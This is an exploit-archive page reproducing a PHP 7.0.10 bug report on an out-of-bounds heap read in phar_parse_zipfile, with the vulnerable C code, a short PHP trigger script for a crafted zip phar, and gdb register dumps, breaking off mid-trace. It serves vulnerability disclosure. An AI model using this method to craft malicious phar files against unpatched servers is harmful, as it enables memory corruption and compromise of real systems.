Home / exploits PHP 7.0.10 Out of bound when verify signature of zip phar in phar_parse_zipfile
Posted on 30 November -0001
<HTML><HEAD><TITLE>PHP 7.0.10 Out of bound when verify signature of zip phar in phar_parse_zipfile</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Description: ------------ There was a security code in phar_parse_zipfile ``` sig = (char *) emalloc(entry.uncompressed_filesize); read = php_stream_read(fp, sig, entry.uncompressed_filesize); if (read != entry.uncompressed_filesize) { php_stream_close(sigfile); efree(sig); PHAR_ZIP_FAIL("signature cannot be read"); } mydata->sig_flags = PHAR_GET_32(sig); if (FAILURE == phar_verify_signature(sigfile, php_stream_tell(sigfile), mydata->sig_flags, sig + 8, entry.uncompressed_filesize - 8, fname, &mydata->signature, &mydata->sig_len, error) ) { ``` There are no checking *entry.uncompressed_filesize* attacker can create a signature.bin with size less than 8 and then this value is passed to *phar_verify_signature* as sig_len as you can see `entry.uncompressed_filesize - 8` as result sig_len is overflow. And the third param is sig buffer as you can see `sig + 8`, because *entry.uncompressed_filesize* is less than 8 by default emalloc will return 16 bytes this result may lead to heap out of bound. phar zip file : https://drive.google.com/file/d/0B0D1DYQpkA9Ud3I2OFlfeFRqbEU/view?usp=sharing Test script: --------------- <?php $phar = new PharData('phars/signature.zip'); var_dump($phar); ?> Actual result: -------------- This debug step i will show the malicious parse phar zip. Set breakpoint at line 419 in zip.c [----------------------------------registers-----------------------------------] RAX: 0x4 RBX: 0x13 RCX: 0x0 RDX: 0x1a3 RSI: 0xf2cc38 ("/home/vagrant/Sources_Ext/audit/src/php7.0-7.0.8/ext/phar/zip.c") RDI: 0x4 RBP: 0x7fffffffa870 --> 0x7fffffffadb0 --> 0x7fffffffae50 --> 0x7fffffffaec0 --> 0x7fffffffaf50 --> 0x7fffffffb040 --> 0x7fffffffb090 --> 0x7fffffffb0c0 --> 0x7fffffffb100 --> 0x7fffffffb210 --> 0x7fffffffd510 --> 0x7fffffffe890 --> 0x7fffffffe9e0 --> 0xa1a0a0 (<__libc_csu_init>: push r15) RSP: 0x7ffffffea600 --> 0x7fffffffafa0 --> 0x0 RIP: 0x6ed786 (<phar_parse_zipfile+7788>: call 0x911568 <_emalloc>) R8 : 0x0 R9 : 0xf2cc38 ("/home/vagrant/Sources_Ext/audit/src/php7.0-7.0.8/ext/phar/zip.c") R10: 0x5 R11: 0x206 R12: 0x42c280 (<_start>: xor ebp,ebp) R13: 0x7fffffffeac0 --> 0x2 R14: 0x7ffff3e14030 --> 0x7ffff3e7e040 --> 0x9a66aa (<ZEND_DO_FCALL_SPEC_HANDLER>: push rbp) R15: 0x7ffff3e7e040 --> 0x9a66aa (<ZEND_DO_FCALL_SPEC_HANDLER>: push rbp) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x6ed777 <phar_parse_zipfile+7773>: mov edx,0x1a3 0x6ed77c <phar_parse_zipfile+7778>: lea rsi,[rip+0x83f4b5] # 0xf2cc38 0x6ed783 <phar_parse_zipfile+7785>: mov rdi,rax => 0x6ed786 <phar_parse_zipfile+7788>: call 0x911568 <_emalloc> 0x6ed78b <phar_parse_zipfile+7793>: mov QWORD PTR [rbp-0x101d0],rax 0x6ed792 <phar_parse_zipfile+7800>: mov eax,DWORD PTR [rbp-0x10170] 0x6ed798 <phar_parse_zipfile+7806>: mov edx,eax 0x6ed79a <phar_parse_zipfile+7808>: mov rcx,QWORD PTR [rbp-0x101d0] Guessed arguments: arg[0]: 0x4 arg[1]: 0xf2cc38 ("/home/vagrant/Sources_Ext/audit/src/php7.0-7.0.8/ext/phar/zip.c") arg[2]: 0x1a3 arg[3]: 0x0 arg[4]: 0x0 [------------------------------------stack-------------------------------------] 0000| 0x7ffffffea600 --> 0x7fffffffafa0 --> 0x0 0008| 0x7ffffffea608 --> 0x7fffffffaeb0 --> 0x0 0016| 0x7ffffffea610 --> 0x0 0024| 0x7ffffffea618 --> 0x2900000000 ('') 0032| 0x7ffffffea620 --> 0x7ffff3e70088 ("/vagrant_extend/audit/phars/signature.zip") 0040| 0x7ffffffea628 --> 0x7ffff3e5fa00 --> 0x12bf720 --> 0x8d6fc6 (<php_stdiop_write>: push rbp) 0048| 0x7ffffffea630 --> 0x0 0056| 0x7ffffffea638 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000006ed786 419 sig = (char *) emalloc(entry.uncompressed_filesize); gdb-peda$ p entry.uncompressed_filesize $20 = 0x4 I create signature.bin with size is 4, after that i will step to phar_verify_signature and you will see param is passed to phar_verify_signature. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffafa0 --> 0x0 RBX: 0x10 RCX: 0x7ffff3e710a8 --> 0x4 RDX: 0x10 RSI: 0x0 RDI: 0x7ffff3e5fb40 --> 0x12bf720 --> 0x8d6fc6 (<php_stdiop_write>: push rbp) RBP: 0x7ffffffea5d0 --> 0x7fffffffa870 --> 0x7fffffffadb0 --> 0x7fffffffae50 --> 0x7fffffffaec0 --> 0x7fffffffaf50 --> 0x7fffffffb040 --> 0x7fffffffb090 --> 0x7fffffffb0c0 --> 0x7fffffffb100 --> 0x7fffffffb210 --> 0x7fffffffd510 --> 0x7fffffffe890 --> 0x7fffffffe9e0 --> 0xa1a0a0 (<__libc_csu_init>: push r15) RSP: 0x7ffffffea000 --> 0x7fffffffafa0 --> 0x0 RIP: 0x6e3c77 (<phar_verify_signature+85>: mov rax,QWORD PTR fs:0x28) R8 : 0xfffffffc R9 : 0x7ffff3e70088 ("/vagrant_extend/audit/phars/signature.zip") R10: 0x4 R11: 0x246 R12: 0x7ffff3e710a8 --> 0x4 R13: 0x7ffff3e79120 --> 0x0 R14: 0x7ffff3e79118 --> 0x0 R15: 0xfffffffc EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x6e3c65 <phar_verify_signature+67>: mov QWORD PTR [rbp-0x5c8],rax 0x6e3c6c <phar_verify_signature+74>: mov rax,QWORD PTR [rbp+0x20] 0x6e3c70 <phar_verify_signature+78>: mov QWORD PTR [rbp-0x5d0],rax => 0x6e3c77 <phar_verify_signature+85>: mov rax,QWORD PTR fs:0x28 0x6e3c80 <phar_verify_signature+94>: mov QWORD PTR [rbp-0x8],rax 0x6e3c84 <phar_verify_signature+98>: xor eax,eax 0x6e3c86 <phar_verify_signature+100>: mov rax,QWORD PTR [rbp-0x598] 0x6e3c8d <phar_verify_signature+107>: mov edx,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7ffffffea000 --> 0x7fffffffafa0 --> 0x0 0008| 0x7ffffffea008 --> 0x7ffff3e79118 --> 0x0 0016| 0x7ffffffea010 --> 0x7ffff3e79120 --> 0x0 0024| 0x7ffffffea018 --> 0x7ffff3e70088 ("/vagrant_extend/audit/phars/signature.zip") 0032| 0x7ffffffea020 --> 0x7ffff3e710a8 --> 0x4 0040| 0x7ffffffea028 --> 0x10fffffffc 0048| 0x7ffffffea030 --> 0x0 0056| 0x7ffffffea038 --> 0x7ffff3e5fb40 --> 0x12bf720 --> 0x8d6fc6 (<php_stdiop_write>: push rbp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 11, phar_verify_signature (fp=0x7ffff3e5fb40, end_of_phar=0x0, sig_type=0x10, sig=0x7ffff3e710a8 "